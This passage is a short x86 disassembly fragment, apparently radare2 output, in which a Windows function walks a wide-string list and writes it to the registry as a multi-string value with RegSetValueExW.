call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x40667b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8